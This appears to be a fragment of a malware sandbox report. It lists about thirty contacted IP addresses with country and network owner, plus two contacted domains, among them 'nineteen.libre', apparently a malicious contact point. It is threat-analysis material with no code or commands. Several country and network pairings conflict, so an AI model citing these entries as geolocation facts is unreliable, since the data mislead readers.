172.0.51.196
 unknown United States
7018 ATT-INTERNET4US false
192.141.157.156
 unknown Brazil
267469 W8TelecomLtda-MEBR false
49.237.236.137
 unknown Thailand
132618 REALFUTURE-AS-APRealFutureCompanyLimitedTH false
72.160.243.216
 unknown United States
22561 CENTURYLINK-LEGACY-LIGHTCOREUS false
141.95.173.2
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
6.5.66.191
 unknown United States
668 DNIC-AS-00668US false
179.126.6.4
 unknown Brazil
53006 ALGARTELECOMSABR false
21.93.175.33
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
205.134.159.86
 unknown United States
19043 ONEBEACONINSURANCEGROUPUS false
191.232.75.58
 unknown Brazil
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
72.75.43.39
 unknown United States
701 UUNETUS false
30.187.6.211
 unknown United States
7922 COMCAST-7922US false
177.151.149.254
 unknown Brazil
26615 TIMSABR false
81.252.247.103
 unknown France
3215 FranceTelecom-OrangeFR false
60.129.130.179
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
36.221.109.93
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
43.241.39.174
 unknown India
133296 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN false
28.223.126.80
 unknown United States
7922 COMCAST-7922US false
162.30.64.31
 unknown United States
46483 RGHSUS false
5.247.204.71
 unknown Saudi Arabia
34400 ASN-ETTIHADETISALATSA false
203.145.182.250
 unknown India
9498 BBIL-APBHARTIAirtelLtdIN false
182.40.122.10
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
194.189.45.101
 unknown United Kingdom
719 ELISA-ASHelsinkiFinlandEU false
181.184.109.135
 unknown Venezuela
262210 VIETTELPERUSACPE false
154.249.215.197
 unknown Algeria
36947 ALGTEL-ASDZ false
46.84.168.96
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
136.236.117.218
 unknown United States
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
216.104.42.28
 unknown United States
32475 SINGLEHOP-LLCUS false
19.196.110.80
 unknown United States
3 MIT-GATEWAYSUS false
198.225.202.227
 unknown United States
6167 CELLCO-PARTUS false
11.1.99.233
 unknown United States
3356 LEVEL3US false
90.90.72.88
 unknown France
3215 FranceTelecom-OrangeFR false
198.95.240.246
 unknown United States
17394 NETAPP-AS-1US false

Contacted Domains

Name IP Active
nineteen.libre 103.253.147.242 true
daisy.ubuntu.com 162.213.35.25 true